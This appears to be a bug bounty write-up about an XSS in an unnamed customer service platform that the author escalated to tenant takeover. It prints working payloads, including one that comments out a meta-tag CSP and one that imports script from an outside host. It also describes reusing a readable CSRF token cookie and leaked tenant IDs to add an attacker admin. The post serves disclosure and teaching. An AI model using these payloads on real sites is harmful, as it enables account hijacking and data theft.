At the beginning of my bug bounty career, I began looking at a popular customer service platform who does not allow disclosure so they shall remain unnamed, but I ended up finding an XSS that I was able to leverage to takeover any tenant using the platform. I have also included a terribly vibe coded example of this exploit both to give visuals and to allow reproduction should you desire.
Getting the XSS
I spent about 40 hours on this application. I dove deep. I was on vacation with my family when this all started and I spent an unhealthy amount of time just walking through the application. Understanding the logic. The protection mechanisms. At 40 hours, I was kind of over it, but…there was some functionality that I hadn’t looked at. There was a knowledge-base feature of the app that looked a little different from everything else, which always piques my interest. When things look different, they probably were handled differently in development, and when devs deviate from how they did things with the rest of the application, this typically breeds bugs.
I opened Caido and just started stepping through everything. At first, nothing really interesting caught my eye and for the most part, the data flowed the same as the rest of the app and after a few hours, I decided to take a break to grab an energy drink and let my mind rest before getting back to it. I came back to my laptop and I noticed a singular issue in my Caido proxy findings tab. At the time I was using a cool passive workflow by bebiksior called ‘Caido Reflector.’
The page was taking the en
query parameter and placing it into the page in the lang attribute at the very top of the DOM. A simple "><h1>testing
payload confirmed I was able to break out of the context and get in html of my own. Several payloads triggered CSP errors in the console, but I eventually was able to get the alert box to pop with "><svg onload=alert()>
.

Bypassing the CSP
While coming up with a payload with the current without bypassing the CSP might have been possible, I wanted to avoid having to get a massive payload into the URL and dealing with typos and troubleshooting errors.
I started looking at this CSP that was restricting me, and I noticed yet another difference in how this part of the application worked. Instead of a server-side CSP that came back in the response headers, they loaded it via a <meta> tag that followed my injection point.

This meant that by appending <!---
to my payload, it would comment out the CSP. So, now I can work with the following payload: “><svg/onload=import('//poc.un1tycyb3r.com/poc.js')>
.
Achieving Tenant Takeover
At this point I began to search for paths to get ATO. The session cookie was HTTP-Only and I couldn’t get an OAuth gadget to get the code into the URL unused. Looking into other methods, I discovered that changing the email of the user wasn’t possible without the password and I started to look at the various requests that were available. All requests required a CSRF-Token header, but this token was also stored in the cookies and was not HTTP-Only, so I was able to make any request in the context of the user.
I came up with multiple impactful scenarios including dumping all conversations of the user, dumping PII, etc, but I wanted to get ATO and I realized that while I couldn’t get account-takeover, I could get tenant-takeover by targeting an admin and setting up the PoC to add my attacker account as an admin of the victim tenant.


Dealing with Program Pushback
After submitting to the program, I was feeling pretty good until they downgraded it to a medium. They insisted that it was only exploitable by members of the same organization. I started digging in to prove that this wasn’t the case.
The structure of the endpoint was like so: /blah/company-id/blah/unique-id/blah/unique-id. These ID’s were to random to guess or brute force, necessitating a way to leak the IDs. I began exploring more of the functionality of the app and I came across the ability to create a public facing version of the knowledge-base which was hosted on a separate domain of the target. I began looking at this public facing version. Looking at the html of the page, I noticed this script tag towards the bottom of the page that had some dynamically loaded data. Examining this data, I realized it was it leaking the company id, and the two unique id’s that I needed to build the exploit for any company that I wanted to target. All I would have to do is go to their front-facing knowledge base and grab those values.

I did a PoC for the programs test account and it was a great feeling when I got the following reply when it worked: “Noted. Adjusting back to high.” Not only did they adjust the severity to high, but because of the work I put in to show max impact, I was awarded the maximum bounty for a high severity bug totaling at $5k.
The Lab
You can find the lab on my github: Github.
It is terribly vibe coded, but it gets the point across.
Hope you enjoyed the writeup!